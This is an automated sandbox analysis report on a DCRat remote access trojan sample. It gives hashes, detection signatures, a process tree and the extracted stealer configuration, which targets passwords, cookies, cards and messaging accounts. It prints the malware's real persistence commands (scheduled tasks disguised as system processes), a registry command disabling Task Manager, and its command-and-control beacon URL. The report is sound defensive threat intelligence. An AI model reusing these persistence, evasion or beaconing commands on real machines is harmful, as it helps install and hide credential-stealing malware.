Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
GNUCXbYadp.exe

Overview

General Information

Sample name:GNUCXbYadp.exe
renamed because original name is a hash value
Original sample name:4cc23344d26c44260cb52028cff992b7.exe
Analysis ID:1553028
MD5:4cc23344d26c44260cb52028cff992b7
SHA1:7f2b7a02ae3f65c6757f134a79c302a92e31311c
SHA256:4c6650813906ced18f7564f906ea5a033a206cb2c71f244e0d28a04e3f2d7609
Tags:DCRatexeuser-abuse_ch
Infos:

Detection

DCRat
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Schedule system process
Suricata IDS alerts for network traffic
Yara detected DCRat
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
AI detected suspicious sample
Creates processes via WMI
Disable Task Manager(disabletaskmgr)
Disable UAC(promptonsecuredesktop)
Disables UAC (registry)
Disables the Windows task manager (taskmgr)
Machine Learning detection for dropped file
Machine Learning detection for sample
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sigma detected: Files With System Process Name In Unsuspected Locations
Uses schtasks.exe or at.exe to add and modify task schedules
Windows Scripting host queries suspicious COM object (likely to drop second stage)
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
File is packed with WinRar
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Yara signature match

Classification

Process Tree

  • System is w10x64
  • GNUCXbYadp.exe (PID: 4200 cmdline: "C:\Users\user\Desktop\GNUCXbYadp.exe" MD5: 4CC23344D26C44260CB52028CFF992B7)
    • wscript.exe (PID: 4980 cmdline: "C:\Windows\System32\WScript.exe" "C:\BrowserreviewSavesruntimeperf\cyoW9TDLPAWUwl12Pv6zflv.vbe" MD5: FF00E0480075B095948000BDC66E81F0)
      • cmd.exe (PID: 6628 cmdline: C:\Windows\system32\cmd.exe /c ""C:\BrowserreviewSavesruntimeperf\4COnkcqgLamz7kP5YHD7l4vjV.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • conhost.exe (PID: 6256 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • Blockreview.exe (PID: 1428 cmdline: "C:\BrowserreviewSavesruntimeperf\Blockreview.exe" MD5: 3298254972DFD7E76172F9D3A7675B27)
          • schtasks.exe (PID: 2020 cmdline: schtasks.exe /create /tn "wHkwzSlnBiGJprfYEurbfsdoSvkjw" /sc MINUTE /mo 10 /tr "'C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)
          • schtasks.exe (PID: 6620 cmdline: schtasks.exe /create /tn "wHkwzSlnBiGJprfYEurbfsdoSvkj" /sc ONLOGON /tr "'C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)
          • schtasks.exe (PID: 5012 cmdline: schtasks.exe /create /tn "wHkwzSlnBiGJprfYEurbfsdoSvkjw" /sc MINUTE /mo 10 /tr "'C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)
          • schtasks.exe (PID: 5848 cmdline: schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 8 /tr "'C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)
          • schtasks.exe (PID: 7076 cmdline: schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)
          • schtasks.exe (PID: 3184 cmdline: schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 14 /tr "'C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)
          • schtasks.exe (PID: 6200 cmdline: schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 12 /tr "'C:\Users\Default\Videos\winlogon.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)
          • schtasks.exe (PID: 7116 cmdline: schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Users\Default\Videos\winlogon.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)
          • schtasks.exe (PID: 380 cmdline: schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 8 /tr "'C:\Users\Default\Videos\winlogon.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)
          • backgroundTaskHost.exe (PID: 4916 cmdline: "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe" MD5: 3298254972DFD7E76172F9D3A7675B27)
        • reg.exe (PID: 7612 cmdline: reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
    • wscript.exe (PID: 2912 cmdline: "C:\Windows\System32\WScript.exe" "C:\BrowserreviewSavesruntimeperf\file.vbs" MD5: FF00E0480075B095948000BDC66E81F0)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
DCRatDCRat is a typical RAT that has been around since at least June 2019.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Malware Configuration

Threatname: DCRat

{"SCRT": "{\"C\":\"`\",\"J\":\"<\",\"i\":\"~\",\"H\":\"|\",\"l\":\"#\",\"P\":\"_\",\"R\":\"!\",\"L\":\"$\",\"j\":\"-\",\"0\":\" \",\"y\":\"*\",\"W\":\"&\",\"o\":\"%\",\"Z\":\"@\",\"w\":\",\",\"N\":\";\",\"S\":\".\",\"6\":\">\",\"9\":\"^\",\"a\":\"(\",\"5\":\")\"}", "PCRT": "{\"Q\":\"!\",\"U\":\".\",\"F\":\"%\",\"0\":\">\",\"B\":\"`\",\"R\":\"|\",\"k\":\"@\",\"h\":\"#\",\"M\":\" \",\"5\":\"$\",\"c\":\"&\",\"d\":\"~\",\"V\":\"*\",\"D\":\")\",\"W\":\"<\",\"n\":\",\",\"p\":\"_\",\"l\":\"-\",\"L\":\"^\",\"2\":\"(\",\"s\":\";\"}", "TAG": "", "MUTEX": "DCR_MUTEX-F2xuUASfu16r2tRv6sfO", "LDTM": false, "DBG": false, "SST": 5, "SMST": 2, "BCS": 0, "AUR": 1, "ASCFG": {"savebrowsersdatatosinglefile": false, "ignorepartiallyemptydata": false, "cookies": true, "passwords": true, "forms": true, "cc": true, "history": false, "telegram": true, "steam": true, "discord": true, "filezilla": true, "screenshot": true, "clipboard": true, "sysinfo": true, "searchpath": "%UsersFolder% - Fast"}, "AS": false, "ASO": false, "AD": false}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000006.00000002.2167631819.0000000003548000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_DCRat_1Yara detected DCRatJoe Security
    00000006.00000002.2167631819.0000000003251000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_DCRat_1Yara detected DCRatJoe Security
      00000018.00000002.2285548117.00000000032B1000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_DCRat_1Yara detected DCRatJoe Security
        00000014.00000002.2195019293.0000000002811000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_DCRat_1Yara detected DCRatJoe Security
          00000017.00000002.2286343002.0000000002851000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_DCRat_1Yara detected DCRatJoe Security
            Click to see the 5 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            20.2.backgroundTaskHost.exe.2a202a8.6.raw.unpackINDICATOR_SUSPICIOUS_References_SecTools_B64EncodedDetects executables referencing many base64-encoded IR and analysis tools namesditekSHen
            • 0x164ec:$s4: cHJvY2V4cA
            • 0x16e34:$s4: cHJvY2V4cA
            • 0x1652d:$s5: cHJvY2V4cDY0
            • 0x16e75:$s5: cHJvY2V4cDY0
            • 0x16429:$s12: d2lyZXNoYXJr
            • 0x16d71:$s12: d2lyZXNoYXJr
            • 0x162d2:$s23: ZG5zcHk
            • 0x16c1a:$s23: ZG5zcHk
            • 0x162db:$s25: aWxzcHk
            • 0x16c23:$s25: aWxzcHk
            • 0x162e4:$s26: ZG90cGVla
            • 0x16c2c:$s26: ZG90cGVla
            6.2.Blockreview.exe.3374198.13.raw.unpackINDICATOR_SUSPICIOUS_References_SecTools_B64EncodedDetects executables referencing many base64-encoded IR and analysis tools namesditekSHen
            • 0x164d4:$s4: cHJvY2V4cA
            • 0x16e1c:$s4: cHJvY2V4cA
            • 0x16515:$s5: cHJvY2V4cDY0
            • 0x16e5d:$s5: cHJvY2V4cDY0
            • 0x16411:$s12: d2lyZXNoYXJr
            • 0x16d59:$s12: d2lyZXNoYXJr
            • 0x162ba:$s23: ZG5zcHk
            • 0x16c02:$s23: ZG5zcHk
            • 0x162c3:$s25: aWxzcHk
            • 0x16c0b:$s25: aWxzcHk
            • 0x162cc:$s26: ZG90cGVla
            • 0x16c14:$s26: ZG90cGVla

            Sigma Signatures

            System Summary

            barindex
            Sigma detected: Files With System Process Name In Unsuspected Locations
            Source: File createdAuthor: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\BrowserreviewSavesruntimeperf\Blockreview.exe, ProcessId: 1428, TargetFilename: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe
            Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
            Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\BrowserreviewSavesruntimeperf\cyoW9TDLPAWUwl12Pv6zflv.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\BrowserreviewSavesruntimeperf\cyoW9TDLPAWUwl12Pv6zflv.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\GNUCXbYadp.exe", ParentImage: C:\Users\user\Desktop\GNUCXbYadp.exe, ParentProcessId: 4200, ParentProcessName: GNUCXbYadp.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\BrowserreviewSavesruntimeperf\cyoW9TDLPAWUwl12Pv6zflv.vbe" , ProcessId: 4980, ProcessName: wscript.exe

            Persistence and Installation Behavior

            barindex
            Sigma detected: Schedule system process
            Source: Process startedAuthor: Joe Security: Data: Command: schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 8 /tr "'C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe'" /f, CommandLine: schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 8 /tr "'C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe'" /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\BrowserreviewSavesruntimeperf\Blockreview.exe" , ParentImage: C:\BrowserreviewSavesruntimeperf\Blockreview.exe, ParentProcessId: 1428, ParentProcessName: Blockreview.exe, ProcessCommandLine: schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 8 /tr "'C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe'" /f, ProcessId: 5848, ProcessName: schtasks.exe

            Suricata Signatures

            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2024-11-10T08:02:14.061329+010020229301A Network Trojan was detected172.202.163.200443192.168.2.649739TCP
            2024-11-10T08:02:52.678236+010020229301A Network Trojan was detected172.202.163.200443192.168.2.649942TCP
            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2024-11-10T08:02:05.158568+010020341941A Network Trojan was detected192.168.2.6497025.101.153.4880TCP

            Joe Sandbox Signatures

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Antivirus / Scanner detection for submitted sample
            Source: GNUCXbYadp.exeAvira: detected
            Antivirus detection for URL or domain
            Source: http://pizdi2m7.beget.tech/Avira URL Cloud: Label: malware
            Source: http://pizdi2m7.beget.tech/L1nc0In.php?k6HFrd=DBpCUEW5a6&c3c3a3de1c105a9ea3e5db7cb884c0c5=979b615f20Avira URL Cloud: Label: malware
            Source: http://pizdi2m7.beget.techAvira URL Cloud: Label: malware
            Source: http://pizdi2m7.beget.tech/L1nc0In.php?k6HFrd=DBpCUEW5a6&c3c3a3de1c105a9ea3e5db7cb884c0c5=979b615f20ee468dab6043f75ec133fb&78a09ec9f4e412de6a9bc4970b6f7363=wNyQTZxgDOiVWOxUmNjJGM0cTMxYWZ0IWNwMmN0ITMjRzMiVmMmFzY&k6HFrd=DBpCUEW5a6Avira URL Cloud: Label: malware
            Antivirus detection for dropped file
            Source: C:\Users\Default\Videos\winlogon.exeAvira: detection malicious, Label: HEUR/AGEN.1323984
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeAvira: detection malicious, Label: HEUR/AGEN.1323984
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeAvira: detection malicious, Label: HEUR/AGEN.1323984
            Source: C:\BrowserreviewSavesruntimeperf\cyoW9TDLPAWUwl12Pv6zflv.vbeAvira: detection malicious, Label: VBS/Runner.VPG
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeAvira: detection malicious, Label: HEUR/AGEN.1323984
            Found malware configuration
            Source: 00000006.00000002.2171805971.000000001325D000.00000004.00000800.00020000.00000000.sdmpMalware Configuration Extractor: DCRat {"SCRT": "{\"C\":\"`\",\"J\":\"<\",\"i\":\"~\",\"H\":\"|\",\"l\":\"#\",\"P\":\"_\",\"R\":\"!\",\"L\":\"$\",\"j\":\"-\",\"0\":\" \",\"y\":\"*\",\"W\":\"&\",\"o\":\"%\",\"Z\":\"@\",\"w\":\",\",\"N\":\";\",\"S\":\".\",\"6\":\">\",\"9\":\"^\",\"a\":\"(\",\"5\":\")\"}", "PCRT": "{\"Q\":\"!\",\"U\":\".\",\"F\":\"%\",\"0\":\">\",\"B\":\"`\",\"R\":\"|\",\"k\":\"@\",\"h\":\"#\",\"M\":\" \",\"5\":\"$\",\"c\":\"&\",\"d\":\"~\",\"V\":\"*\",\"D\":\")\",\"W\":\"<\",\"n\":\",\",\"p\":\"_\",\"l\":\"-\",\"L\":\"^\",\"2\":\"(\",\"s\":\";\"}", "TAG": "", "MUTEX": "DCR_MUTEX-F2xuUASfu16r2tRv6sfO", "LDTM": false, "DBG": false, "SST": 5, "SMST": 2, "BCS": 0, "AUR": 1, "ASCFG": {"savebrowsersdatatosinglefile": false, "ignorepartiallyemptydata": false, "cookies": true, "passwords": true, "forms": true, "cc": true, "history": false, "telegram": true, "steam": true, "discord": true, "filezilla": true, "screenshot": true, "clipboard": true, "sysinfo": true, "searchpath": "%UsersFolder% - Fast"}, "AS": false, "ASO": false, "AD": false}
            Multi AV Scanner detection for domain / URL
            Source: pizdi2m7.beget.techVirustotal: Detection: 12%Perma Link
            Source: http://pizdi2m7.beget.techVirustotal: Detection: 12%Perma Link
            Multi AV Scanner detection for dropped file
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeReversingLabs: Detection: 80%
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeReversingLabs: Detection: 80%
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeReversingLabs: Detection: 80%
            Source: C:\Users\Default\Videos\winlogon.exeReversingLabs: Detection: 80%
            Multi AV Scanner detection for submitted file
            Source: GNUCXbYadp.exeReversingLabs: Detection: 71%
            Source: GNUCXbYadp.exeVirustotal: Detection: 52%Perma Link
            AI detected suspicious sample
            Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.6% probability
            Machine Learning detection for dropped file
            Source: C:\Users\Default\Videos\winlogon.exeJoe Sandbox ML: detected
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeJoe Sandbox ML: detected
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeJoe Sandbox ML: detected
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeJoe Sandbox ML: detected
            Machine Learning detection for sample
            Source: GNUCXbYadp.exeJoe Sandbox ML: detected
            Source: GNUCXbYadp.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeDirectory created: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeDirectory created: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\eddb19405b7ce1Jump to behavior
            Source: GNUCXbYadp.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
            Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: GNUCXbYadp.exe
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EEA5F4 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,0_2_00EEA5F4
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EFB8E0 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,0_2_00EFB8E0
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00F0AAA8 FindFirstFileExA,0_2_00F0AAA8

            Networking

            barindex
            Suricata IDS alerts for network traffic
            Source: Network trafficSuricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.6:49702 -> 5.101.153.48:80
            Source: Joe Sandbox ViewASN Name: BEGET-ASRU BEGET-ASRU
            Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 172.202.163.200:443 -> 192.168.2.6:49739
            Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 172.202.163.200:443 -> 192.168.2.6:49942
            Source: global trafficHTTP traffic detected: GET /L1nc0In.php?k6HFrd=DBpCUEW5a6&c3c3a3de1c105a9ea3e5db7cb884c0c5=979b615f20ee468dab6043f75ec133fb&78a09ec9f4e412de6a9bc4970b6f7363=wNyQTZxgDOiVWOxUmNjJGM0cTMxYWZ0IWNwMmN0ITMjRzMiVmMmFzY&k6HFrd=DBpCUEW5a6 HTTP/1.1Accept: */*Content-Type: text/plainUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: pizdi2m7.beget.techConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /L1nc0In.php?k6HFrd=DBpCUEW5a6&c3c3a3de1c105a9ea3e5db7cb884c0c5=979b615f20ee468dab6043f75ec133fb&78a09ec9f4e412de6a9bc4970b6f7363=wNyQTZxgDOiVWOxUmNjJGM0cTMxYWZ0IWNwMmN0ITMjRzMiVmMmFzY&k6HFrd=DBpCUEW5a6 HTTP/1.1Accept: */*Content-Type: text/plainUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: pizdi2m7.beget.tech
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: global trafficHTTP traffic detected: GET /L1nc0In.php?k6HFrd=DBpCUEW5a6&c3c3a3de1c105a9ea3e5db7cb884c0c5=979b615f20ee468dab6043f75ec133fb&78a09ec9f4e412de6a9bc4970b6f7363=wNyQTZxgDOiVWOxUmNjJGM0cTMxYWZ0IWNwMmN0ITMjRzMiVmMmFzY&k6HFrd=DBpCUEW5a6 HTTP/1.1Accept: */*Content-Type: text/plainUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: pizdi2m7.beget.techConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /L1nc0In.php?k6HFrd=DBpCUEW5a6&c3c3a3de1c105a9ea3e5db7cb884c0c5=979b615f20ee468dab6043f75ec133fb&78a09ec9f4e412de6a9bc4970b6f7363=wNyQTZxgDOiVWOxUmNjJGM0cTMxYWZ0IWNwMmN0ITMjRzMiVmMmFzY&k6HFrd=DBpCUEW5a6 HTTP/1.1Accept: */*Content-Type: text/plainUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: pizdi2m7.beget.tech
            Source: global trafficDNS traffic detected: DNS query: pizdi2m7.beget.tech
            Source: backgroundTaskHost.exe, 00000014.00000002.2195019293.0000000002C40000.00000004.00000800.00020000.00000000.sdmp, backgroundTaskHost.exe, 00000014.00000002.2195019293.0000000002C10000.00000004.00000800.00020000.00000000.sdmp, backgroundTaskHost.exe, 00000014.00000002.2195019293.0000000002C36000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pizdi2m7.beget.tech
            Source: backgroundTaskHost.exe, 00000014.00000002.2195019293.0000000002C10000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pizdi2m7.beget.tech/
            Source: backgroundTaskHost.exe, 00000014.00000002.2256056863.000000001B848000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pizdi2m7.beget.tech/L1nc0In.php?k6HFrd=DBpCUEW5a6&c3c3a3de1c105a9ea3e5db7cb884c0c5=979b615f20
            Source: Blockreview.exe, 00000006.00000002.2167631819.00000000033D0000.00000004.00000800.00020000.00000000.sdmp, backgroundTaskHost.exe, 00000014.00000002.2195019293.0000000002A7C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name

            System Summary

            barindex
            Malicious sample detected (through community Yara rule)
            Source: 20.2.backgroundTaskHost.exe.2a202a8.6.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables referencing many base64-encoded IR and analysis tools names Author: ditekSHen
            Source: 6.2.Blockreview.exe.3374198.13.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables referencing many base64-encoded IR and analysis tools names Author: ditekSHen
            Windows Scripting host queries suspicious COM object (likely to drop second stage)
            Source: C:\Windows\SysWOW64\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}Jump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EE718C: __EH_prolog,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,0_2_00EE718C
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EE857B0_2_00EE857B
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EF70BF0_2_00EF70BF
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EE407E0_2_00EE407E
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00F0D00E0_2_00F0D00E
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00F111940_2_00F11194
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00F002F60_2_00F002F6
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EEE2A00_2_00EEE2A0
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EE32810_2_00EE3281
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EF66460_2_00EF6646
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EE27E80_2_00EE27E8
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EF37C10_2_00EF37C1
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00F0473A0_2_00F0473A
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00F0070E0_2_00F0070E
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EEE8A00_2_00EEE8A0
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EEF9680_2_00EEF968
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00F049690_2_00F04969
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EF6A7B0_2_00EF6A7B
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EF3A3C0_2_00EF3A3C
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00F0CB600_2_00F0CB60
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00F00B430_2_00F00B43
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EF5C770_2_00EF5C77
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EFFDFA0_2_00EFFDFA
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EF3D6D0_2_00EF3D6D
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EEED140_2_00EEED14
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EEDE6C0_2_00EEDE6C
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EEBE130_2_00EEBE13
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00F00F780_2_00F00F78
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EE5F3C0_2_00EE5F3C
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeCode function: 6_2_00007FFD348B36956_2_00007FFD348B3695
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeCode function: 20_2_00007FFD348DD55F20_2_00007FFD348DD55F
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeCode function: 20_2_00007FFD348E2BBA20_2_00007FFD348E2BBA
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeCode function: 20_2_00007FFD348D68FB20_2_00007FFD348D68FB
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeCode function: 20_2_00007FFD348D894420_2_00007FFD348D8944
